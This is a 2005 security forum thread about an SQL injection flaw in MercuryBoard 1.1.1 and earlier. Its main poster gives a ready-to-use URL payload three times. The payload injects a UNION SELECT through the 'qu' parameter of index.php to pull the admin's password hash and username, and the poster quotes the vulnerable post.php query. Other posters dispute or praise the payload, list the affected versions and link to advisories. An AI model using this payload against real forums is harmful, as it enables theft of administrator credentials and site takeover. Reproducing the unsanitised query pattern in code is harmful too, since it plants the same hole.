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www.waraxe.us Forum Index -> Sql injection -> Critical Sql injection in Mercuryboard <= 1.1.1
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Critical Sql injection in Mercuryboard <= 1.1.1
PostPosted: Tue Feb 08, 2005 10:22 am Reply with quote
Zeelock
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Joined: Jan 27, 2005
Posts: 29
Location: Where stars come out at night




I saw that the released exploits didn't work.

This proof of concept do the job:

http://www.site.com/mercuryboard/index.php?a=post&s=reply&t=1&qu=10000%20UNION%20SELECT%20user_password,user_name%20from%20mb_users%20where%20user_group%20=%201%20limit%201/*

The problem of previous exploit on the 't' variable was that the single value was used in multiple queries.

The one i found is on this piece of code in post.php:


--------[ Mercury 1.1.1 original code ]--------------

if (($s == 'reply') && isset($this->get['qu'])) {

$query = $this->db->fetch("SELECT p.post_text, m.user_name FROM {

$this->pre}posts p, {$this->pre}users m WHERE p.post_id={

$this->get['qu']} AND p.post_author=m.user_id");

--------[/Mercury 1.1.1 original code ]--------------

the nice thing is that injecting the q value permits to see data directly on the form metween quotes.

Notes:

Version 1.1.2 is already patched against this.

Zeelock

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Re: Critical Sql injection in Mercuryboard <= 1.1.1
PostPosted: Wed Feb 09, 2005 8:08 am Reply with quote
LINUX
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Joined: May 24, 2004
Posts: 404
Location: Caiman




Zeelock wrote:
I saw that the released exploits didn't work.

This proof of concept do the job:

http://www.site.com/mercuryboard/index.php?a=post&s=reply&t=1&qu=10000%20UNION%20SELECT%20user_password,user_name%20from%20mb_users%20where%20user_group%20=%201%20limit%201/*

The problem of previous exploit on the 't' variable was that the single value was used in multiple queries.

The one i found is on this piece of code in post.php:


--------[ Mercury 1.1.1 original code ]--------------

if (($s == 'reply') && isset($this->get['qu'])) {

$query = $this->db->fetch("SELECT p.post_text, m.user_name FROM {

$this->pre}posts p, {$this->pre}users m WHERE p.post_id={

$this->get['qu']} AND p.post_author=m.user_id");

--------[/Mercury 1.1.1 original code ]--------------

the nice thing is that injecting the q value permits to see data directly on the form metween quotes.

Notes:

Version 1.1.2 is already patched against this.

Zeelock



yes men, i test all versions not work in all, this exploit is fake or not complete exploit
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wtf!!!
PostPosted: Wed Feb 09, 2005 8:32 am Reply with quote
Zeelock
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Joined: Jan 27, 2005
Posts: 29
Location: Where stars come out at night




Argentino...!!!

That's my improvement... it works, just try it Very Happy

With this one you see the full hash and username of the admin.


http://www.site.com/mercuryboard/index.php?a=post&s=reply&t=1&qu=10000%20UNION%20SELECT%20user_password,user_name%20from%20mb_users%20where%20user_group%20=%201%20limit%201/*


The trick is in the "qu" variable. You'll see everything in the form

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PostPosted: Fri Feb 11, 2005 5:27 am Reply with quote
LINUX
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Posts: 404
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yes men very good work zeelock Very Happy
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Re: Critical Sql injection in Mercuryboard <= 1.1.1
PostPosted: Tue Feb 15, 2005 5:52 am Reply with quote
Lostmon
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Joined: Jul 24, 2004
Posts: 6
Location: spain




hello !!

i?m currenly documenting this vuln and make probes in
mercuryboard 1.0.x and 1.1.x
any of this xploits working
but is shure what can inject sql commands...

have any more proof of concept ??

Thnx

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Critical Sql injection in Mercuryboard <= 1.1.1
PostPosted: Tue Feb 15, 2005 12:50 pm Reply with quote
Lostmon
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Joined: Jul 24, 2004
Posts: 6
Location: spain




Oks

After making some several probes whith some versions
this is the result

Mercuryboard 1.1.2 Not Affected
Mercuryboard 1.1.0 Affected
Mercuryboard 1.0.1 Affected
Mercuryboard 1.0.2 Affected

thnx !!!!!

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For more info:
PostPosted: Wed Feb 16, 2005 8:34 am Reply with quote
Zeelock
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http://www.securityfocus.com/bid/12503

http://www.securityfocus.com/archive/1/389881

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